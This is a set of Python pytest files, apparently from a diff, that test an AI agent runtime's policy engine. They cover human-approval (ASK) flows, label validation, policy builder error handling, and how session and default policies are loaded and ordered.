@pytest.mark.asyncio
async def test_ask_cycle_multiple_askers_combined_approval(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""When multiple policies ASK on the same phase, one
combined approval resolves them all. On approve, every
ASKing policy's set_labels lands. Proves §4 ASK
composition + §7.2 single-approval-per-phase."""
p1 = _ask_policy("first", set_labels={"a": "1"})
p2 = _ask_policy("second", set_labels={"b": "2"})
p3 = _ask_policy("third", set_labels={"c": "3"})
engine = _build_engine(conversation_store, [p1, p2, p3])
harness = _ElicitationHarness('{"action": "accept"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
)
result, approved = await _run_ask_cycle(engine, ctx, harness)
assert approved is True
# deciding_policy is derived from deciding_policies[0].
assert result.deciding_policy == "first"
# All three ASKing policies are captured in deciding_policies.
assert result.deciding_policies == ["first", "second", "third"]
# Combined reason mentions all three policies.
assert "first:" in result.reason
assert "second:" in result.reason
assert "third:" in result.reason
# All three policies' set_labels landed — single
# approval authorized every write.
assert engine.labels == {"a": "1", "b": "2", "c": "3"}
@pytest.mark.asyncio
async def test_ask_cycle_multiple_askers_combined_decline(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Same multi-policy scenario with a decline. NONE of
the labels land — all-or-nothing semantics."""
p1 = _ask_policy("first", set_labels={"a": "1"})
p2 = _ask_policy("second", set_labels={"b": "2"})
engine = _build_engine(conversation_store, [p1, p2])
harness = _ElicitationHarness('{"action": "decline"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
)
_, approved = await _run_ask_cycle(engine, ctx, harness)
assert approved is False
assert engine.labels == {}
# ── State flows across ASK cycles ─────────────────────
@pytest.mark.asyncio
async def test_approved_labels_visible_in_next_evaluation(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""After an approval applies `integrity: 0`, a later
condition-gated policy can read that state and fire
accordingly. Demonstrates ASK → label → condition-driven
downstream behavior — the core IFC loop through ASK."""
# First policy ASKs, writes integrity=0 on approve.
taint = _ask_policy(
"confirm_taint",
set_labels={"integrity": "0"},
)
# Second policy fires UNCONDITIONALLY on run_shell (no
# tool narrowing on our selector → matches every
# run_shell invocation) with a condition-gate on
# integrity=0. Only enforces after taint is established.
shell_guard = make_fixed_policy(
name="shell_guard",
on=[PhaseSelector(phase=Phase.TOOL_CALL, tool_name="run_shell")],
condition={"integrity": "0"},
action=PolicyAction.DENY,
reason="tainted; shell disallowed",
)
engine = _build_engine(conversation_store, [taint, shell_guard])
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {"cmd": "ls"}},
tool_name="run_shell",
)
# First cycle: ASK then approve.
harness1 = _ElicitationHarness('{"action": "accept"}')
_, approved = await _run_ask_cycle(engine, ctx, harness1)
assert approved is True
assert engine.labels["integrity"] == "0"
# Second cycle: same ctx, now shell_guard's condition
# matches → DENY short-circuits before the ASKing
# policy fires.
result2 = await engine.evaluate(ctx)
assert result2.action == PolicyAction.DENY
assert result2.deciding_policy == "shell_guard"
@pytest.mark.asyncio
async def test_declined_ask_does_not_poison_next_evaluation(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""After a DECLINED ASK, the label state must stay
clean — a subsequent re-evaluation sees the original
context and can ASK again (or ALLOW)."""
policy = _ask_policy("retry_gate", set_labels={"dangerous": "1"})
engine = _build_engine(conversation_store, [policy])
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
)
# First cycle: decline.
harness1 = _ElicitationHarness('{"action": "decline"}')
_, approved1 = await _run_ask_cycle(engine, ctx, harness1)
assert approved1 is False
# State unchanged.
assert engine.labels == {}
# Second cycle: re-evaluation sees the same clean state.
# The policy ASKs AGAIN (not stuck post-decline).
harness2 = _ElicitationHarness('{"action": "accept"}')
_, approved2 = await _run_ask_cycle(engine, ctx, harness2)
assert approved2 is True
assert engine.labels == {"dangerous": "1"}
# ── Emitted elicitation event shape verification ──────
def _assert_mcp_elicitation_shape(
event: dict[str, Any],
*,
expected_id: str,
expected_policy_name: str,
expected_phase: str,
expected_reason_fragment: str,
expected_preview_fragment: str,
) -> None:
"""Assert one emitted event matches the MCP elicitation
primitive byte-for-byte (``ElicitRequestFormParams`` plus
the policy-context extras MCP's ``extra="allow"`` permits).
Drift here breaks every MCP-aware consumer."""
assert event["type"] == "response.elicitation_request"
assert event["method"] == "elicitation/create"
assert event["elicitation_id"] == expected_id
params = event["params"]
assert params["mode"] == "form"
assert params["requestedSchema"] == {}
assert expected_reason_fragment in params["message"]
assert params["policy_name"] == expected_policy_name
assert params["phase"] == expected_phase
assert expected_preview_fragment in params["content_preview"]
@pytest.mark.asyncio
async def test_emitted_elicitation_request_matches_mcp_shape(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Emitted SSE event matches MCP's elicitation primitive
byte-for-byte. See ``omnigent/runtime/policies/approval.py``
``_elicitation_request_event`` and
``designs/SERVER_HARNESS_CONTRACT.md`` §"Universal API
additions"."""
policy = _ask_policy(
"confirm_write",
phase=Phase.TOOL_CALL,
tool_name="write_file",
reason="writes require review",
)
engine = _build_engine(conversation_store, [policy])
harness = _ElicitationHarness('{"action": "accept"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "write_file", "arguments": {"path": "secrets.txt"}},
tool_name="write_file",
)
await _run_ask_cycle(engine, ctx, harness)
assert len(harness.emitted_events) == 1
_assert_mcp_elicitation_shape(
harness.emitted_events[0],
expected_id=harness.registered_elicitation_ids[0],
expected_policy_name="confirm_write",
expected_phase="tool_call",
expected_reason_fragment="confirm_write: writes require review",
expected_preview_fragment="write_file",
)
@pytest.mark.asyncio
async def test_registered_params_json_matches_emitted_params(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""The persisted ``arguments`` column on the pending row
must match the SSE event's ``params`` block. Ensures a
debugger / replayer inspecting the stored row sees
exactly what the consumer was shown."""
policy = _ask_policy("gate", set_labels={"x": "1"})
engine = _build_engine(conversation_store, [policy])
harness = _ElicitationHarness('{"action": "accept"}')
ctx = EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
)
await _run_ask_cycle(engine, ctx, harness)
# Exactly one register call per elicitation — if 0, the
# helper skipped registration (the approval dispatcher would
# then 404 on the verdict event). If >1, we'd be writing
# duplicate pending rows for a single ASK, confusing the
# wake-up routing.
assert len(harness.registered_params_json) == 1
persisted_params = json.loads(harness.registered_params_json[0])
# Persisted params block must be byte-equivalent to what
# the consumer was shown on the SSE stream — debugger /
# replayer guarantee.
assert persisted_params == harness.emitted_events[0]["params"]
@@ -0,0 +1,173 @@
"""
ASK flow + LabelDef schema validation composition tests.
Verifies that the schema checks engine.apply_label_writes
performs (POLICIES.md §10 — values whitelist) ALSO apply
to writes that get approved through the ASK cycle. Without
this, a policy could "launder" an invalid label write by
emitting it only on ASK (where the engine defers the write
to post-approval apply).
Load-bearing: the omnigent parity promise is that the
same label write rules apply regardless of which path
(direct ALLOW vs approved ASK) carries the write.
"""
from __future__ import annotations
from typing import Any
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import _await_elicitation
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
LabelDef,
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
class _Harness:
"""Minimal elicitation harness."""
def __init__(self, verdict: str) -> None:
"""Capture a pre-canned verdict for the park callback.
:param verdict: JSON-encoded MCP-shape ``ElicitResult``
body, e.g. ``'{"action": "accept"}'``.
"""
self._verdict = verdict
def register(self, elicitation_id: str, task_id: str, params_json: str) -> None:
"""No-op register seam.
:param elicitation_id: Generated id (unused here).
:param task_id: Parked workflow id (unused).
:param params_json: JSON-encoded params block (unused).
"""
def emit(self, event: dict[str, Any]) -> None:
"""No-op emit seam.
:param event: SSE event dict (unused).
"""
async def park(self, elicitation_id: str, timeout_s: int) -> str:
"""Return the canned verdict immediately.
:param elicitation_id: Generated id (unused).
:param timeout_s: Resolved timeout (unused).
:returns: The verdict string passed at construction.
"""
return self._verdict
async def _drive_ask(
engine: PolicyEngine,
ctx: EvaluationContext,
verdict: str,
) -> bool:
"""Evaluate, assert ASK, drive elicitation with *verdict*."""
result = await engine.evaluate(ctx)
assert result.action == PolicyAction.ASK
h = _Harness(verdict)
return await _await_elicitation(
task_id="task_1",
root_task_id="task_1",
result=result,
phase=ctx.phase,
content_preview="x",
policy_engine=engine,
register=h.register,
emit=h.emit,
park=h.park,
)
@pytest.mark.asyncio
async def test_ask_approve_respects_enum_constraint(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Same shape for enum violations: approved ASK writes
an out-of-enum value → engine drops it."""
policy = make_fixed_policy(
name="rogue_value",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ASK,
reason="approve me",
# Value NOT in declared enum.
set_labels={"role": "root"},
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={"role": LabelDef(values=["admin", "user"])},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={},
conversation_store=conversation_store,
)
approved = await _drive_ask(
engine,
EvaluationContext(phase=Phase.REQUEST, content="x"),
'{"action": "accept"}',
)
assert approved is True
# Dropped — role never set.
assert "role" not in engine.labels
@pytest.mark.asyncio
async def test_ask_approve_mixed_valid_invalid_batch(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""An approved ASK with multiple set_labels: valid keys
land, invalid keys drop (per-key silent drop). Proves
the ASK path delegates to the same _filter_schema_valid
helper as direct ALLOW."""
policy = make_fixed_policy(
name="mixed",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ASK,
reason="approve",
set_labels={
"integrity": "rogue", # out-of-enum violation
"role": "admin", # valid
"schemaless": "free", # unknown key, set freely
},
)
conv = conversation_store.create_conversation()
engine = PolicyEngine(
policies=[policy],
label_defs={
"integrity": LabelDef(values=["0", "1"]),
"role": LabelDef(values=["admin", "user"]),
},
ask_timeout=30,
conversation_id=conv.id,
initial_labels={"integrity": "0"},
conversation_store=conversation_store,
)
approved = await _drive_ask(
engine,
EvaluationContext(phase=Phase.REQUEST, content="x"),
'{"action": "accept"}',
)
assert approved is True
# integrity stays at 0 (out-of-enum drop).
# role lands (valid enum value).
# schemaless lands (unknown key = free write).
assert engine.labels == {
"integrity": "0",
"role": "admin",
"schemaless": "free",
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,154 @@
"""
Builder error-path tests.
Verifies ``build_policy_engine`` + ``resolve_function_policy``
fail loudly on malformed input rather than silently producing
broken engines.
Load-bearing: silent failures here would let broken agents
ship to production — a FunctionPolicy whose dotted path
doesn't resolve should fail at workflow start, not silently
ALLOW every evaluation.
"""
from __future__ import annotations
import pytest
from omnigent.policies.function import (
resolve_function_policy,
)
from omnigent.spec.types import (
FunctionPolicySpec,
FunctionRef,
Phase,
PhaseSelector,
)
def _fn_spec(
path: str,
arguments: dict | None = None,
) -> FunctionPolicySpec:
"""Build a minimal FunctionPolicySpec with the given path."""
return FunctionPolicySpec(
name="p",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(path=path, arguments=arguments),
)
# ── Dotted path resolution errors ─────────────────────
def test_resolve_bare_path_rejected() -> None:
"""Single-segment path (no dot) is rejected — useful
module-level imports are dotted. If this regresses, an
author writing `function: my_tool` would get a confusing
AttributeError on some irrelevant module attribute."""
with pytest.raises(ValueError, match=r"dotted module.attribute"):
resolve_function_policy(_fn_spec("invalid_path"))
def test_resolve_missing_module_raises_import_error() -> None:
"""Module not found → clear ImportError. The caller
(Phase 6 workflow init) surfaces this at workflow start
so an incorrect spec fails before any evaluation runs."""
with pytest.raises(ImportError):
resolve_function_policy(
_fn_spec("omnigent_nonexistent_module.handler"),
)
def test_resolve_missing_attribute_raises_attribute_error() -> None:
"""Module exists but attribute doesn't → AttributeError.
Distinguishes "typo in module name" from "typo in attr
name" — gives the author a precise hint."""
with pytest.raises(AttributeError):
resolve_function_policy(
_fn_spec("omnigent.spec.types.nonexistent_attr"),
)
def test_resolve_non_callable_rejected() -> None:
"""Dotted path resolves to a non-callable (e.g. a module
constant) → ValueError naming the resolved type."""
# Point at a non-callable module-level constant
# (`omnigent.spec.types.DEFAULT_ASK_TIMEOUT` is an int).
with pytest.raises(ValueError, match=r"not callable"):
resolve_function_policy(
_fn_spec("omnigent.spec.types.DEFAULT_ASK_TIMEOUT"),
)
# ── Missing function field ────────────────────────────
def test_resolve_with_none_function_raises() -> None:
"""A FunctionPolicySpec with function=None (shouldn't
happen after parser validation, but defensive) → clear
ValueError mentioning the parser responsibility."""
bad_spec = FunctionPolicySpec(
name="p",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=None, # parser should have rejected
)
with pytest.raises(ValueError, match=r"no function reference"):
resolve_function_policy(bad_spec)
# ── Factory-form errors ───────────────────────────────
def test_factory_bad_arguments_raises_at_build() -> None:
"""Factory accepts kwargs; calling with wrong kwargs →
TypeError surfaces at build time, NOT at evaluate time.
Fail-early so deploy pipelines catch the misconfiguration."""
# rate_limit_search accepts `limit: int`; passing an
# unexpected kwarg raises immediately.
with pytest.raises(TypeError):
resolve_function_policy(
_fn_spec(
"tests._fixtures.agents.rate_limit_policies.rate_limit_search",
arguments={"bogus_kwarg": 99},
),
)
# ── Builder + spec integration ────────────────────────
def test_build_engine_fails_on_invalid_function_path(
conversation_store,
) -> None:
"""build_policy_engine propagates resolution errors so
the workflow startup fails loudly on a broken spec."""
from omnigent.runtime.policies import build_policy_engine
from omnigent.spec.types import (
AgentSpec,
GuardrailsSpec,
)
spec = AgentSpec(
spec_version=1,
name="broken",
guardrails=GuardrailsSpec(
policies=[
FunctionPolicySpec(
name="broken_fn",
on=[PhaseSelector(phase=Phase.REQUEST)],
function=FunctionRef(
path="totally.not.a.real.path",
),
),
],
),
)
conv = conversation_store.create_conversation()
# Workflow init should raise, not silently ALLOW.
with pytest.raises(ImportError):
build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
)
@@ -0,0 +1,712 @@
"""Tests for session and default policy loading in :func:`build_policy_engine`.
Verifies that enabled session policies stored via the CRUD API are
loaded by the builder, converted to :class:`FunctionPolicySpec`,
resolved to :class:`FunctionPolicy` instances, and participate in
engine evaluation alongside spec-declared policies.
Also covers DB-stored default policies (``session_id IS NULL``) and the
:func:`_load_default_policy_specs` TTL-cache behaviour.
"""
from __future__ import annotations
import pytest
from omnigent.entities import Policy as StoredPolicy
from omnigent.errors import ErrorCode, OmnigentError
from omnigent.policies.function import FunctionPolicy
from omnigent.runtime.policies.builder import (
_DEFAULT_POLICY_SPECS_CACHE,
_SESSION_POLICY_SPECS_CACHE,
_load_default_policy_specs,
_load_session_policy_specs,
_stored_policy_to_spec,
build_policy_engine,
invalidate_default_policy_specs_cache,
invalidate_session_policy_specs_cache,
)
from omnigent.spec.types import (
AgentSpec,
FunctionPolicySpec,
FunctionRef,
GuardrailsSpec,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from omnigent.stores.policy_store.sqlalchemy_store import SqlAlchemyPolicyStore
# ── _stored_policy_to_spec ──────────────────────────────────────────────────
def test_stored_python_policy_to_spec() -> None:
"""A stored ``type="python"`` policy converts to a FunctionPolicySpec.
The FunctionRef must carry the handler as ``path`` and
``factory_params`` as ``arguments``. ``on`` must be ``None``
so the engine skips phase filtering (callable self-selects).
"""
stored = StoredPolicy(
id="pol_abc",
name="rate_limit",
session_id="conv_123",
scope="session",
created_at=1000,
type="python",
handler="myorg.policies.rate_limit",
factory_params={"limit": 10},
)
spec = _stored_policy_to_spec(stored)
assert spec is not None
assert isinstance(spec, FunctionPolicySpec)
assert spec.name == "rate_limit"
assert spec.on is None
assert spec.function is not None
assert spec.function.path == "myorg.policies.rate_limit"
assert spec.function.arguments == {"limit": 10}
def test_stored_python_policy_without_factory_params() -> None:
"""A stored Python policy with no factory_params gets ``arguments=None``."""
stored = StoredPolicy(
id="pol_def",
name="simple",
session_id="conv_123",
scope="session",
created_at=1000,
type="python",
handler="myorg.policies.simple_check",
)
spec = _stored_policy_to_spec(stored)
assert spec is not None
assert isinstance(spec, FunctionPolicySpec)
assert spec.function is not None
assert spec.function.arguments is None
def test_stored_url_policy_raises() -> None:
"""A stored ``type="url"`` policy is rejected loudly, not skipped.
URL policy evaluation is unimplemented; converting one must raise
rather than silently return ``None`` (which would let an operator
store a guardrail that never enforces).
"""
stored = StoredPolicy(
id="pol_url",
name="external",
session_id="conv_123",
scope="session",
created_at=1000,
type="url",
handler="https://example.com/eval",
)
with pytest.raises(OmnigentError) as excinfo:
_stored_policy_to_spec(stored)
assert excinfo.value.code == ErrorCode.INVALID_INPUT
assert "url" in str(excinfo.value)
assert "external" in str(excinfo.value)
# ── _load_session_policy_specs ──────────────────────────────────────────────
def test_load_session_policy_specs_none_store() -> None:
"""When ``policy_store`` is ``None``, returns an empty list."""
assert _load_session_policy_specs("conv_123", None) == []
def test_load_session_policy_specs_caches_result(db_uri: str) -> None:
"""A second call returns the cached result without hitting the store.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
store = SqlAlchemyPolicyStore(db_uri)
store.create(
policy_id="pol_cache",
session_id=conv.id,
name="cache_test",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
_SESSION_POLICY_SPECS_CACHE.clear()
first = _load_session_policy_specs(conv.id, store)
store.create(
policy_id="pol_cache2",
session_id=conv.id,
name="cache_test2",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
second = _load_session_policy_specs(conv.id, store)
assert second is first
def test_invalidate_session_policy_specs_cache(db_uri: str) -> None:
"""Invalidating the cache forces the next call to re-read from the store.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
store = SqlAlchemyPolicyStore(db_uri)
store.create(
policy_id="pol_inv1",
session_id=conv.id,
name="inv_policy1",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
_SESSION_POLICY_SPECS_CACHE.clear()
first = _load_session_policy_specs(conv.id, store)
assert len(first) == 1
store.create(
policy_id="pol_inv2",
session_id=conv.id,
name="inv_policy2",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
invalidate_session_policy_specs_cache(conv.id)
second = _load_session_policy_specs(conv.id, store)
assert len(second) == 2
def test_load_session_policy_specs_filters_disabled(db_uri: str) -> None:
"""Disabled policies are excluded from the loaded specs.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
store = SqlAlchemyPolicyStore(db_uri)
store.create(
policy_id="pol_enabled",
session_id=conv.id,
name="enabled_policy",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
store.create(
policy_id="pol_disabled",
session_id=conv.id,
name="disabled_policy",
type="python",
handler="myorg.policies.deny_all",
enabled=False,
)
specs = _load_session_policy_specs(conv.id, store)
assert len(specs) == 1
assert specs[0].name == "enabled_policy"
def test_load_session_policy_specs_rejects_enabled_url(db_uri: str) -> None:
"""An enabled url-type session policy raises at load time (fail closed).
:param db_uri: Per-test SQLite URI from the root conftest.
"""
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
store = SqlAlchemyPolicyStore(db_uri)
store.create(
policy_id="pol_url",
session_id=conv.id,
name="external",
type="url",
handler="https://example.com/eval",
enabled=True,
)
with pytest.raises(OmnigentError) as excinfo:
_load_session_policy_specs(conv.id, store)
assert excinfo.value.code == ErrorCode.INVALID_INPUT
# ── build_policy_engine integration ─────────────────────────────────────────
def _make_minimal_spec() -> AgentSpec:
"""Build a minimal AgentSpec with no guardrails.
:returns: An :class:`AgentSpec` with all required fields set to
minimal values and no guardrails.
"""
return AgentSpec(
spec_version=1,
name="test-agent",
)
def test_build_engine_includes_session_policies(db_uri: str) -> None:
"""Session policies from the store appear in the engine's policy list.
Creates a session policy pointing at a test callable, builds the
engine, and verifies the callable was resolved into a FunctionPolicy.
:param db_uri: Per-test SQLite URI.
"""
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
policy_store = SqlAlchemyPolicyStore(db_uri)
policy_store.create(
policy_id="pol_test",
session_id=conv.id,
name="test_policy",
type="python",
# Point at a real callable in the test resources.
handler="tests.resources.examples._shared.tool_functions.block_long_sleep",
)
engine = build_policy_engine(
spec=_make_minimal_spec(),
conversation_id=conv.id,
conversation_store=conv_store,
policy_store=policy_store,
)
assert isinstance(engine.policies[0], FunctionPolicy)
assert engine.policies[0].spec.name == "test_policy"
assert engine.policies[-1].spec.name == "__ask_on_add_policy"
def test_build_engine_no_store_returns_noop(db_uri: str) -> None:
"""Without a policy store, the engine has no policies (noop).
:param db_uri: Per-test SQLite URI.
"""
conv_store = SqlAlchemyConversationStore(db_uri)
engine = build_policy_engine(
spec=_make_minimal_spec(),
conversation_id="conv_nonexistent",
conversation_store=conv_store,
policy_store=None,
)
# No user-declared policies, but ask_on_add_policy is always present.
assert len(engine.policies) == 1
assert engine.policies[0].spec.name == "__ask_on_add_policy"
def test_build_engine_ordering_session_agent_admin(db_uri: str) -> None:
"""Policy evaluation order is session → agent → admin.
Creates one policy at each layer and verifies their position
in the engine's policy list matches the documented contract.
:param db_uri: Per-test SQLite URI.
"""
handler = "tests.resources.examples._shared.tool_functions.block_long_sleep"
# Agent-declared policy via spec guardrails.
agent_policy = FunctionPolicySpec(
name="agent_policy",
on=None,
function=FunctionRef(path=handler),
)
spec = AgentSpec(
spec_version=1,
name="test-agent",
guardrails=GuardrailsSpec(policies=[agent_policy]),
)
# Admin (server-wide default) policy.
admin_policy = FunctionPolicySpec(
name="admin_policy",
on=None,
function=FunctionRef(path=handler),
)
# Session policy from the store.
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
policy_store = SqlAlchemyPolicyStore(db_uri)
policy_store.create(
policy_id="pol_session",
session_id=conv.id,
name="session_policy",
type="python",
handler=handler,
)
engine = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conv_store,
default_policies=[admin_policy],
policy_store=policy_store,
)
names = [p.spec.name for p in engine.policies]
assert names == [
"session_policy",
"agent_policy",
"admin_policy",
"__ask_on_add_policy",
]
# ── Sub-agent session policy inheritance ───────────────────────────────────
def test_subagent_inherits_root_session_policies(db_uri: str) -> None:
"""Session policies on the root conversation propagate to sub-agents.
Creates a root conversation with a session policy, spawns a
sub-agent (child conversation), and verifies that the child's
policy engine includes the root's session policy.
:param db_uri: Per-test SQLite URI.
"""
handler = "tests.resources.examples._shared.tool_functions.block_long_sleep"
conv_store = SqlAlchemyConversationStore(db_uri)
root_conv = conv_store.create_conversation()
child_conv = conv_store.create_conversation(
parent_conversation_id=root_conv.id,
kind="sub_agent",
)
policy_store = SqlAlchemyPolicyStore(db_uri)
policy_store.create(
policy_id="pol_root",
session_id=root_conv.id,
name="root_guard",
type="python",
handler=handler,
)
engine = build_policy_engine(
spec=_make_minimal_spec(),
conversation_id=child_conv.id,
conversation_store=conv_store,
policy_store=policy_store,
)
names = [p.spec.name for p in engine.policies]
assert "root_guard" in names, f"root session policy not inherited by sub-agent; got {names}"
# Root policy should come before the ask_on_add_policy sentinel.
assert names.index("root_guard") < names.index("__ask_on_add_policy")
def test_subagent_deduplicates_same_name_policy(db_uri: str) -> None:
"""When root and child both have a policy with the same name, child wins.
The root's copy is dropped to avoid double-evaluation. The
child's version appears in the engine at the session-policy
position.
:param db_uri: Per-test SQLite URI.
"""
handler = "tests.resources.examples._shared.tool_functions.block_long_sleep"
conv_store = SqlAlchemyConversationStore(db_uri)
root_conv = conv_store.create_conversation()
child_conv = conv_store.create_conversation(
parent_conversation_id=root_conv.id,
kind="sub_agent",
)
policy_store = SqlAlchemyPolicyStore(db_uri)
# Same-name policy on both root and child.
policy_store.create(
policy_id="pol_root",
session_id=root_conv.id,
name="shared_guard",
type="python",
handler=handler,
)
policy_store.create(
policy_id="pol_child",
session_id=child_conv.id,
name="shared_guard",
type="python",
handler=handler,
)
engine = build_policy_engine(
spec=_make_minimal_spec(),
conversation_id=child_conv.id,
conversation_store=conv_store,
policy_store=policy_store,
)
names = [p.spec.name for p in engine.policies]
# "shared_guard" should appear exactly once (child's version).
assert names.count("shared_guard") == 1, (
f"expected exactly 1 'shared_guard', got {names.count('shared_guard')} in {names}"
)
def test_root_session_does_not_double_load(db_uri: str) -> None:
"""A root conversation (no parent) loads its own policies once.
Ensures the root-inheritance path is a no-op when the
conversation is already the root (``root_conversation_id == id``).
:param db_uri: Per-test SQLite URI.
"""
handler = "tests.resources.examples._shared.tool_functions.block_long_sleep"
conv_store = SqlAlchemyConversationStore(db_uri)
root_conv = conv_store.create_conversation()
policy_store = SqlAlchemyPolicyStore(db_uri)
policy_store.create(
policy_id="pol_root",
session_id=root_conv.id,
name="root_only",
type="python",
handler=handler,
)
engine = build_policy_engine(
spec=_make_minimal_spec(),
conversation_id=root_conv.id,
conversation_store=conv_store,
policy_store=policy_store,
)
names = [p.spec.name for p in engine.policies]
assert names.count("root_only") == 1, (
f"root policy loaded {names.count('root_only')} times in {names}"
)
# ── _load_default_policy_specs ──────────────────────────────────────────────
def test_load_default_policy_specs_none_store() -> None:
"""When ``policy_store`` is ``None``, returns an empty list."""
assert _load_default_policy_specs(None) == []
def test_load_default_policy_specs_skips_url_type(db_uri: str) -> None:
"""A default policy with ``type='url'`` is skipped, not raised.
Unlike session policies (where an unsupported type raises loudly),
unsupported-type default policies must not crash engine construction
globally — they are logged and skipped so a stale row can't cause a
server-wide outage.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
store = SqlAlchemyPolicyStore(db_uri)
# Insert a url-type default directly via the store (bypassing the route
# guard that rejects url defaults at creation time).
store.create_default(
policy_id="dpol_url",
name="url_default",
type="url",
handler="https://example.com/eval",
enabled=True,
)
store.create_default(
policy_id="dpol_ok",
name="python_default",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
_DEFAULT_POLICY_SPECS_CACHE.clear()
# Should not raise — url policy is skipped, python policy is included.
specs = _load_default_policy_specs(store)
assert len(specs) == 1
assert specs[0].name == "python_default"
def test_load_default_policy_specs_filters_disabled(db_uri: str) -> None:
"""Disabled default policies are excluded from the loaded specs.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
store = SqlAlchemyPolicyStore(db_uri)
store.create_default(
policy_id="dpol_enabled",
name="enabled_default",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
store.create_default(
policy_id="dpol_disabled",
name="disabled_default",
type="python",
handler="myorg.policies.deny_all",
enabled=False,
)
_DEFAULT_POLICY_SPECS_CACHE.clear()
specs = _load_default_policy_specs(store)
assert len(specs) == 1
assert specs[0].name == "enabled_default"
def test_load_default_policy_specs_caches_result(db_uri: str) -> None:
"""A second call returns the cached result without hitting the store.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
store = SqlAlchemyPolicyStore(db_uri)
store.create_default(
policy_id="dpol_cache",
name="cache_test",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
_DEFAULT_POLICY_SPECS_CACHE.clear()
first = _load_default_policy_specs(store)
# Add a second default policy directly — bypasses the cache.
store.create_default(
policy_id="dpol_cache2",
name="cache_test2",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
second = _load_default_policy_specs(store)
# Cache hit: second call returns the same object as first, missing the new policy.
assert second is first
def test_invalidate_default_policy_specs_cache(db_uri: str) -> None:
"""Invalidating the cache forces the next call to re-read from the store.
:param db_uri: Per-test SQLite URI from the root conftest.
"""
store = SqlAlchemyPolicyStore(db_uri)
store.create_default(
policy_id="dpol_inv1",
name="inv_policy1",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
_DEFAULT_POLICY_SPECS_CACHE.clear()
first = _load_default_policy_specs(store)
assert len(first) == 1
store.create_default(
policy_id="dpol_inv2",
name="inv_policy2",
type="python",
handler="myorg.policies.allow_all",
enabled=True,
)
invalidate_default_policy_specs_cache()
second = _load_default_policy_specs(store)
assert len(second) == 2
# ── build_policy_engine: DB default policies integration ────────────────────
def test_build_engine_includes_db_default_policies(db_uri: str) -> None:
"""DB-stored default policies appear in the engine's policy list.
:param db_uri: Per-test SQLite URI.
"""
handler = "tests.resources.examples._shared.tool_functions.block_long_sleep"
conv_store = SqlAlchemyConversationStore(db_uri)
conv = conv_store.create_conversation()
policy_store = SqlAlchemyPolicyStore(db_uri)
policy_store.create_default(
policy_id="dpol_test",
name="db_default_policy",
type="python",
handler=handler,
)
_DEFAULT_POLICY_SPECS_CACHE.clear()
engine = build_policy_engine(
spec=_make_minimal_spec(),
conversation_id=conv.id,
conversation_store=conv_store,
policy_store=policy_store,
)
names = [p.spec.name for p in engine.policies]
assert "db_default_policy" in names
def test_build_engine_ordering_session_agent_db_default_admin(db_uri: str) -> None:
"""Policy evaluation order is session → agent → DB default → YAML admin.
:param db_uri: Per-test SQLite URI.
"""
handler = "tests.resources.examples._shared.tool_functions.block_long_sleep"
agent_policy = FunctionPolicySpec(
name="agent_policy",
on=None,
function=FunctionRef(path=handler),
)
spec = AgentSpec(
spec_version=1,
name="test-agent",
guardrails=GuardrailsSpec(policies=[agent_policy]),
)
yaml_admin_policy = FunctionPolicySpec(
name="yaml_admin_policy",
on=None,
function=FunctionRef(path=handler),
)
conv_store = SqlAlchemyConversationStore(db_uri)
